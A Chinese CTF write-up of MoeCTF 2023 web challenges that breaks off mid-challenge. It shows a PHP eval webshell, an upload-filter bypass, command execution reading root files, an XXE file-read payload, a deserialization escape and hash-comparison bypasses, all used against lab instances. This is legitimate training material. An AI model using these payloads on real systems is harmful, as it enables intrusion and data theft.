[MoeCTF 2023]——Web方向详细Write up、Re、Misc、Crypto部分Writeup

签到

hello CTFer

将url地址复制然后打开即可

image-20230814112924554

得到flag

image-20230814113010148

Web

http

听说这个http里还有个什么东西叫饼干,也不知道是不是吃的

踩坑了,这里用连接器。。。

开启题目环境

image-20230814125337810

GET方式请求,然后把各种请求头往里加

GET
?UwU=u

Header:
User-Agent: MoeBrowser
Cookie: character=admin
X-Forwarded-For:127.0.0.1

POST data:
Luv=u

image-20230814133408472

Web入门指北

解码获取flag

群文件的web入门指北拉到最后得到字符串

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d

十六进制转字符串

image-20230814134446132

得到

flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=

flag内容base64解密

moectf{w3lCome_To_moeCTF_W2b_challengE!!}

cookie

“狗子真的吃饼干吗”,“布偶猫一吃就拉”,”那就让《屋里的狗》吃吧(指吃饼干“

下载附件,内容如下

一些api说明

注册 POST /register

{
"username":"koito",
"password":"123456"
}

登录 POST /login

{
"username":"koito",
"password":"123456"
}

获取flag GET /flag

查询服务状态 GET /status

直接看/flag,不行的嘞

image-20230814135355480

那就POST方式去访问/register,发送json包进行注册

image-20230814140102772

然后访问login

image-20230814140150637

可以看到执行一个Set-Cookie,base64解码一下

image-20230814140303231

登录显示我不是管理员

image-20230814140351495

修改一下token的内容然后base64编码后修改

image-20230814140438199

payload:

eyJ1c2VybmFtZSI6ICJMZWFmIiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogImFkbWluIn0=

character也修改为admin

image-20230814140606871

彼岸的flag

我们在某个平行宇宙中得到了一段moectf群的聊天记录,粗心的出题人在这个聊天平台不小心泄露了自己的flag

Ctrl+U查看源码得到flag

image-20230814145628717

gas!gas!gas!

Klutton这个假期信心满满地准备把驾照拿下,于是他仔细地学习了好多漂移视频,还准备了这么一个赛博赛车场;诶,不对,开车好像不是用键盘开的?

用脚本打,脚本如下

import requests

url = 'http://localhost:16521/'
res = requests.session()      #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。

response = res.post(url, data={"driver":"Leafzzz","steering_control":0,"throttle":0})   #发post包,获取题目

for i in range(1, 99):
    math = ""

    resTest = response.text            #获取返回包的内容
    if "太大" in resTest:
        ym=2
    elif "太小" in resTest:
        ym =0
    else:
        ym = 1

    if "向左" in resTest:
        fx=1
    elif "向右" in resTest:
        fx =-1
    else:
        fx =0

    myData = {   #构造的POST数据
        "driver":"Leafzzz",
        "steering_control":fx,
        "throttle":ym
    }

    response = res.post(url, data=myData) #发post包,提交答案,并且获取返回包,获取下一个计算式
    print(response.text)          #打印当前返回包的内容

    if "moectf{" in response.text:       #如果返回包里面有flag
        print("Flaggggggggg!!!: ", response.text)
        exit() # 退出当前程序,也可以break

得到flag

image-20230814181508334

大海捞针

该死,之前的平行宇宙由于flag的泄露被一股神秘力量抹去,我们脱离了与那个宇宙的连接了!不过不用担心,看起来出题人傻乎乎的是具有泄露flag的概率的,我们只需要连接多个平行宇宙…(难道flag在多元宇宙里是全局变量吗)

爆破,ip改为127.0.0.1

image-20230814153111968

1-1000爆破

image-20230814153125237

然后开始攻击,爆破出结果,id=530

image-20230814153140492

moe图床

我们准备了一个moe图床用于上传一些图片

提前放一个一句话木马的内容

<?php
phpinfo();
@eval($_REQUEST["cmd"]);
?>

文件上传

image-20230815175221403

先传马php文件

image-20230815175311819

存在前端拦截,将文件格式改为png然后上传,burp抓包修改为php文件

image-20230815180212436

但是还是上传失败,那就试试.htaccess文件(也不行)

f12可以看到前端代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>moe图床</title>
</head>
<body>
    <input type="file" id="fileInput">
    <button onclick="uploadFile()">上传</button>
    <div id="uploadResult"></div>
    <script>
        function uploadFile() {
            const fileInput = document.getElementById('fileInput');
            const file = fileInput.files[0];
            
            if (!file) {
                alert('请选择一个文件进行上传!');
                return;
            }
            
            const allowedExtensions = ['png'];
            const fileExtension = file.name.split('.').pop().toLowerCase();
            if (!allowedExtensions.includes(fileExtension)) {
                alert('只允许上传后缀名为png的文件!');
                return;
            }
            
            const formData = new FormData();
            formData.append('file', file);

            fetch('upload.php', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(result => {
                if (result.success) {
                    const uploadResult = document.getElementById('uploadResult');
                    const para = document.createElement('p');
                    para.textContent = ('地址:');
                    const link = document.createElement('a');
                    link.textContent = result.file_path;
                    link.href = result.file_path;
                    link.target = '_blank';
                    para.append(link);
                    uploadResult.appendChild(para);

                    alert('文件上传成功!');
                } else {
                    alert('文件上传失败:' + result.message);
                }
            })
            .catch(error => {
                console.error('文件上传失败:', error);
            });
        }
    </script>
</body>
</html>

发现存在upload.php,访问得到源代码

<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];
    $tmp_path = $_FILES['file']['tmp_name'];

    if ($file['type'] !== 'image/png') {
        die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
    }

    if (filesize($tmp_path) > 512 * 1024) {
        die(json_encode(['success' => false, 'message' => '文件太大']));
    }

    $fileName = $file['name'];
    $fileNameParts = explode('.', $fileName);

    if (count($fileNameParts) >= 2) {
        $secondSegment = $fileNameParts[1];
        if ($secondSegment !== 'png') {
            die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
        }
    } else {
        die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
    }

    $uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);

    if (move_uploaded_file($tmp_path, $uploadFilePath)) {
        die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
    } else {
        die(json_encode(['success' => false, 'message' => '文件上传失败']));
    }
}
else{
    highlight_file(__FILE__);
}
?> 

这段代码是一个简单的PHP脚本,用于处理上传图片文件的功能。下面我会逐步解释代码中的各个部分:

  1. $targetDir = 'uploads/';:这是指定上传文件保存的目标目录,目录名为 “uploads”。需要确保该目录在脚本的执行位置下存在,并且具有适当的写入权限。
  2. $allowedExtensions = ['png'];:这是一个允许上传的文件扩展名的数组,只允许上传扩展名为 “png” 的图片文件。
  3. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {:这是一个条件判断,检查是否是通过 POST 请求上传文件,并且确保存在名为 “file” 的文件上传字段。
  4. $file = $_FILES['file'];:将上传的文件信息存储在名为 “$file” 的变量中,以便后续使用。
  5. $tmp_path = $_FILES['file']['tmp_name'];:获取上传文件的临时文件路径。
  6. if ($file['type'] !== 'image/png') { ... }:检查上传文件的 MIME 类型是否为 “image/png”,即确保上传的文件是 PNG 图片。
  7. if (filesize($tmp_path) > 512 * 1024) { ... }:检查上传文件的大小是否超过了 512KB(即 512 * 1024 字节)的限制。
  8. 解析文件名:
  • $fileName = $file['name'];:获取上传文件的原始文件名。
  • $fileNameParts = explode('.', $fileName);:将文件名通过点号 “.” 进行分割,得到文件名各个部分的数组。
  1. 文件名和扩展名校验:
  • 如果文件名部分的数组长度大于等于 2,说明文件名中至少包含了一个点号。
  • $secondSegment = $fileNameParts[1];:获取文件名的第二个部分,即文件扩展名部分。
  • 进行判断,如果第二个部分不是 “png”,则拒绝上传。
  1. 移动上传文件:
  • 构造上传文件的目标路径:$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);。这会将文件保存在指定的目标目录下,并使用原始文件名。
  • move_uploaded_file($tmp_path, $uploadFilePath):尝试将临时文件移动到目标路径。如果移动成功,返回 true,否则返回 false。
  1. 根据移动结果返回响应:
  • 如果移动成功,返回 JSON 格式的成功消息,包含上传后的文件路径。
  • 如果移动失败,返回 JSON 格式的失败消息。
  1. else 分支:如果不是通过 POST 请求上传文件或者没有名为 “file” 的文件上传字段,就会显示当前 PHP 文件的代码内容。

存在逻辑漏洞

 $fileNameParts = explode('.', $fileName);

    if (count($fileNameParts) >= 2) {
        $secondSegment = $fileNameParts[1];
        if ($secondSegment !== 'png') {
            die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
        }
    } else {
        die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
    }

这里只会将遇到的.分开,然后判断第二个是不是png

但是apache解析是按照最后一个文件后缀解析的,只需要传两个个后缀就可以绕过

前端绕过和前面类似,burp抓包然后修改

image-20230815184219788

上传成功,并且得到文件路径/uploads/cmd.png.php,去访问

成功执行phpinfo();,然后进行rce

image-20230815184346377

payload:

uploads/cmd.png.php?cmd=system("ls /");

image-20230815184656045

然后cat /f*得到flag,payload:

uploads/cmd.png.php?cmd=system("cat /f*");

也可以蚁剑连接,这里不赘述了

了解你的座驾

为了极致地漂移,我们准备了一个网站用于查找你喜欢的车车;听说flag也放在里面了,不过不在网站目录放在根目录应该没问题的吧。。。

抓包,发现xml_content

image-20230816005023075

url解码一下,得到

<xml><name>Dodge Viper</name></xml>

F12可以看到前端脚本

function submitForm(name) {
	var form = document.createElement("form");
	form.method = "post";
	form.action = "index.php";
	var input = document.createElement("input");
	input.type = "hidden";
	input.name = "xml_content";
	input.value = "<xml><name>" + name + "</name></xml>";
	form.appendChild(input);
	document.body.appendChild(form);
	form.submit();
	}

猜测是XXE

关于XXE学习贴个链接:CTF XXE

这里直接贴个payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
  <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&file;</username><password>1</password></user>

修改一下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
  <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=///flag">
]>
<xml><name>&file;</name></xml>

然后进行url编码

这里踩坑了,一定要编码,不然没有用

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%55%54%46%2d%38%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%61%6e%79%5b%0a%20%20%3c%21%45%4e%54%49%54%59%20%66%69%6c%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%2f%2f%2f%66%6c%61%67%22%3e%0a%5d%3e%0a%3c%78%6d%6c%3e%3c%6e%61%6d%65%3e%26%66%69%6c%65%3b%3c%2f%6e%61%6d%65%3e%3c%2f%78%6d%6c%3e

传参给xml_content,base64解码得到flag

image-20230818010805100

meo图床

我们准备了一个meo(?)图床用于上传一些图片

也是考察文件上传,先上传PHP文件试试

image-20230816201607350

burp抓包修改文件后缀试试

image-20230817211659989

这里看到php文件是可以上传成功的,去查看一下

image-20230817211826313

可惜这里无法访问我们的.php文件,只能访问我们上传的.png文件

但是可以看到file_get_contents函数,猜测有任意文件读取

构造payload读取flag

?name=../../../../../../flag 

image-20230817214722888

跟我们flag不在这里,但是这里有个提示Fl3g_n0t_Here_dont_peek!!!!!.php,访问一下

踩坑,这里不用name变量,直接访问就行了,我开始还以为这个hint没有用,就一直没找出来

http://localhost:port/Fl3g_n0t_Here_dont_peek!!!!!.php

看到代码

 <?php

highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
    $param1 = $_GET['param1'];
    $param2 = $_GET['param2'];

    if ($param1 !== $param2) {
        
        $md5Param1 = md5($param1);
        $md5Param2 = md5($param2);

        if ($md5Param1 == $md5Param2) {
            echo "O.O!! " . getenv("FLAG");
        } else {
            echo "O.o??";
        }
    } else {
        echo "o.O?";
    }
} else {
    echo "O.o?";
}

?> 

md5弱比较,直接数组绕过就可以了

/Fl3g_n0t_Here_dont_peek!!!!!.php?param1[]=1&param2[]=2

得到flag

image-20230817214916750

夺命十三枪

夺命十三枪!然后是啥来着?

反序列化,开启环境得到源码

<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?> 

存在Hanxin.exe.php,访问文件得到源码

<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

    public $Chant = '';
    public $Spear_Owner = 'Nobody';

    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }

    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}

?>

先构造pop链,倒着找

Hanxin.exe.php文件中的Omg_It_Is_So_Cool_Bring_Me_My_Flag类中,存在__toString()魔术方法,里面的语句可以得到flag

__toString(): 当一个对象被当作字符串使用时触发

向上找,发现在index.php中,echo unserialize($after)将反序列化后的$after当做字符串输出

$after是经过Deadly_Thirteen_SpearsMake_a_Move()静态方法重构后的

先解释一下Deadly_Thirteen_Spears的作用

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

这段代码定义了一个名为 Deadly_Thirteen_Spears 的类,其中包含一个静态方法 Make_a_Move(),这个方法用于将输入的字符串进行一系列替换操作。下面逐行解释代码的功能和作用:

  1. private static $Top_Secret_Long_Spear_Techniques_Manual = array(...);: 这是一个私有的静态属性,它是一个关联数组,包含了一组“绝密长枪技巧手册”的内容。每个键值对表示一个技巧,其中键是技巧的标识,值是技巧的名称。
  2. public static function Make_a_Move($move) {: 这是一个公共的静态方法,接受一个字符串参数 $move,表示要处理的移动。这个方法将对输入的字符串进行处理。
  3. foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement) {: 这是一个循环语句,遍历了之前定义的绝密长枪技巧手册数组。对于每一项技巧,循环会将数组中的键(技巧的标识)赋值给变量 $index,将数组中的值(技巧的名称)赋值给变量 $movement
  4. $move = str_replace($index, $movement, $move);: 在循环内部,这行代码使用 str_replace() 函数将字符串 $move 中的 $index 部分(即技巧的标识)替换为 $movement 部分(即技巧的名称)。这样,会对字符串进行一系列的替换操作,将特定的技巧标识替换为对应的技巧名称。
  5. return $move;: 最后,方法返回经过替换处理后的字符串

简单来说就是我们在$before = serialize($new_visitor);得到的序列化字符串,在传入这个方法后,会检测关键词并进行替换,替换方式如下

"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"

关于字符串增多逃逸可以看一下CTFshow反序列化系列的web262

再往上找$before = serialize($new_visitor),会序列化$new_visitor,再之前我们需要传入chant参数,然后$new_visitor会创建一个Omg_It_Is_So_Cool_Bring_Me_My_Flag对象,并且将Chant的值等于我们传入的$chant

所以构造pop链

Omg_It_Is_So_Cool_Bring_Me_My_Flag::__toString() <-- echo unserialize($after) <-- Deadly_Thirteen_Spears::Make_a_Move() <-- new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant) <-- $_GET['chant']

如果想成功触发getenv(FLAG)就需要Omg_It_Is_So_Cool_Bring_Me_My_FlagSpear_Owner的属性的值变为MaoLei,但是我们无法直接更改Spear_Owner的值,所以就需要利用字符串逃逸来更改

这里打算利用字符串增多逃逸,所以这里我选的第一枪di_yi_qiang => Lovesickness

先构造好我们想要的exp

<?php
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
    public $Spear_Owner;
    function __construct(){
        $this->Spear_Owner = 'MaoLei';
    }
}

$a=new Omg_It_Is_So_Cool_Bring_Me_My_Flag();
echo serialize($a);
#得到Spear_Owner=MaoLei的序列化结果
?>

运行脚本之后得到

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":1:{s:11:"Spear_Owner";s:6:"MaoLei";}

这里我们需要的是后半部分,也就是{s:11:"Spear_Owner";s:6:"MaoLei";}

但是需要前面闭合的{,而且还要加";来闭合前面的序列化字符串,所以得到字符串

";s:11:"Spear_Owner";s:6:"MaoLei";}

计算一下字符串长度

<?php
echo strlen('";s:11:"Spear_Owner";s:6:"MaoLei";}');
#35
?>

然后按照题目的序列化,让chant等于我们得到的值然后先运行一遍看看序列化结果

<?php
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
    public $Chant = '1";s:11:"Spear_Owner";s:6:"MaoLei";}';
    public $Spear_Owner = 'Nobody';
}

$a=new Omg_It_Is_So_Cool_Bring_Me_My_Flag();
echo serialize($a);
?>

运行得到

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:36:"1";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}

观察运行结果

image-20230816200027996

这里s表示的值是36,但是遇到了一个字符“1”就闭合了,多出来的35个字符正是我们构造出来的序列化字符串";s:11:"Spear_Owner";s:6:"MaoLei";}

如果直接传入,那么在反序列化的时候就会产生报错,所以我们就要想办法去造出来多出来的这35个字符,题目中给出利用点

就是Make_a_move方法,这里用第一枪di_yi_qiang => Lovesickness

会在序列化之后生成的字符串中di_yi_qiang替换为Lovesickness,每替换一个就会多出来一个字符,所以我们构造payload的时候构造35个di_yi_qiang就会在替换后多出来35个字母,因为已经序列化完了,所以s:36并不会改变,从而实现字符串逃逸

先生成35个di_yi_qiang

<?php
$a=1;
for($a=1;$a<=35;$a++){
  echo 'di_yi_qiang';
}

最后payload:

?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

传参得到flag

image-20230816200948892

signin

真的是signin(

题目存在附件(刚开始没看见,无语了)

源码如下

from secrets import users, salt
import hashlib
import base64
import json
import http.server

with open("flag.txt","r") as f:
    FLAG = f.read().strip()

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]

assert "admin" in users
assert users["admin"] == "admin"

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
    
def decrypt(data:str):
        for x in range(5):
            data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
        return data

__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD......")
        
class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            if self.path == "/":
                self.send_response(200)
                self.end_headers()
                self.wfile.write(__page__)
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

    def do_POST(self):
        try:
            if self.path == "/login":
                body = self.rfile.read(int(self.headers.get("Content-Length")))
                payload = json.loads(body)
                params = json.loads(decrypt(payload["params"]))
                print(params)
                if params.get("username") == "admin":
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                    print("admin")
                    return
                if params.get("username") == params.get("password"):
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                    print("same")
                    return
                hashed = gethash(params.get("username"),params.get("password"))
                for k,v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user":k,
                            "hash":hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(json.dumps(data).encode())
                        print("success")
                        return
                self.send_response(403)
                self.end_headers()
                self.wfile.write(b"Invalid username or password")
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

if __name__ == "__main__":
    server = http.server.HTTPServer(("", 9999), MyHandler)
    server.serve_forever()

中间一大段base64编码的值是前端代码,不用管他

这里进行代码分析一下,一段一段来

先不分析gethash,这里有解题的关键

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?

这里的作用是简单来讲就是将base64encode的作用变为base64decode也就是在这段程序中,编码的作用变为解码

接下来decrypt函数

def decrypt(data:str):
        for x in range(5):
            data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
        return data

这个函数的作用是循环进行五次base64encode也就是base64编码,但是在上面一段的eval()语句中,将编码的功能变成解码,所以这段函数的作用也就变成了base64decode也就是这段函数的作用变成了五次base64解码

然后是main函数

if __name__ == "__main__":
    server = http.server.HTTPServer(("", 9999), MyHandler)
    server.serve_forever()

这里会接受HTTPServer也就是HTTP请求头然后利用MyHandler进行处理

MyHandler

class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            if self.path == "/":
                self.send_response(200)
                self.end_headers()
                self.wfile.write(__page__)
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

    def do_POST(self):
        try:
            if self.path == "/login":
                body = self.rfile.read(int(self.headers.get("Content-Length")))
                payload = json.loads(body)
                params = json.loads(decrypt(payload["params"]))
                print(params)
                if params.get("username") == "admin":
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                    print("admin")
                    return
                if params.get("username") == params.get("password"):
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                    print("same")
                    return
                hashed = gethash(params.get("username"),params.get("password"))
                for k,v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user":k,
                            "hash":hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(json.dumps(data).encode())
                        print("success")
                        return
                self.send_response(403)
                self.end_headers()
                self.wfile.write(b"Invalid username or password")
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

这里用GET传参来接受路由,如果是/就显示前端代码,也就是__page__,除此之外都返回404 Not Found

Post进行对/login路由处理,先经过decrypt()函数对传进来的payload["params"]进行处理,也就是base64解码五次,然后在进行接受并解析

接下来如果usernameadmin,就回显"YOU CANNOT LOGIN AS ADMIN!"

如果username==password,也就是username等于password的值就会返回YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!

如果前面的条件都没有符合,那么就会让hasded的值等于经过gethash函数处理的usernamepassword

接下来

  • for k, v in hashed_users.items()::这是一个迭代循环,遍历 hashed_users 字典的键值对。在每次迭代中,键将被赋值给变量 k,而值将被赋值给变量 v
  • if hashed == v::这是一个条件语句,检查当前循环迭代中的哈希值 hashed 是否与字典中的某个值 v 相等。
    • 如果相等,说明找到了匹配的哈希值,这可能代表用户的身份验证成功。
    • 如果不相等,代码将继续迭代,检查下一个键值对。
  • 如果找到了匹配的哈希值(用户身份验证成功),以下内容将被执行:
    • data 字典被创建,其中包括以下键值对:
      • "user": k:将匹配的用户名称赋值给 "user" 键。
      • "hash": hashed:将匹配的哈希值赋值给 "hash" 键。
      • "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}":根据用户名称决定是否分配一个特定的标志(flag)。如果用户名称是 "admin",则使用 FLAG 的值作为标志;否则,使用一个特定的提示消息作为标志。

所以我们传入的值就需要让username=admin,并且username=password

这里hashed_users 字典是gethash函数生成的

gethash()函数

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]
  1. def gethash(*items)::定义一个名为 gethash 的函数,该函数接受任意数量的参数,这些参数将被用于生成哈希值。
  2. c = 0:初始化变量 c 为零,用于存储最终的哈希值。
  3. for item in items::遍历传入的参数列表。
  4. if item is None::如果当前参数 itemNone,则跳过当前迭代,继续下一个迭代。这可能是为了处理参数中的空值。
  5. c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big")
  • 在这行代码中,对每个非空参数执行以下操作:
    • hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest():将给定的 item 与一个固定的 salt 值组合,然后计算这个组合的 MD5 哈希值,并获得其原始字节表示。
    • int.from_bytes(..., "big"):将上一步得到的字节表示转换为一个大整数。
    • c ^= ...:将上述得到的整数与变量 c 进行按位异或操作,将结果重新赋值给 c。这可能是为了将多个参数的哈希值合并在一起。
  1. return hex(c)[2:]:将最终合并的哈希值转换为十六进制字符串,并返回其中去掉开头的 “0x” 后的部分。

我们需要让k值为admin,所以这里的需要让admin经过gethash函数处理

admin算出来的hash0,然后我就卡题了,去请教了一下出题人

image-20230818025948059

解题思路如下

image-20230818030040074

我们传入的参数,也就是usernamepassword在这里都会用format来进行格式化

而format在处理数字0 和字符0时,统一返回的是字符0,那么我们让username是数字0,password是字符0,就可以让他们的hash相等

exp如下

随便传个值然后抓包,然后base64解码5

image-20230818013931883

修改username0password"0",然后base64编码五次,得到

image-20230818014053969

VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJrVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzZWxVeFl6QmtNVUpTVUZRd1BRPT0=

修改params的值,然后发包,得到flag

image-20230818014332305

(但是 我总感觉这个是非预期解,因为这就和admin的hash是不是0没有关系了,这里好像只要是数字和字符都可以进行绕过)

出去旅游的心海

Ctrl+U查看源代码,可以看到存在文件

image-20231006113145516

访问一下得到源代码

<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
  Still in development! :)
*/

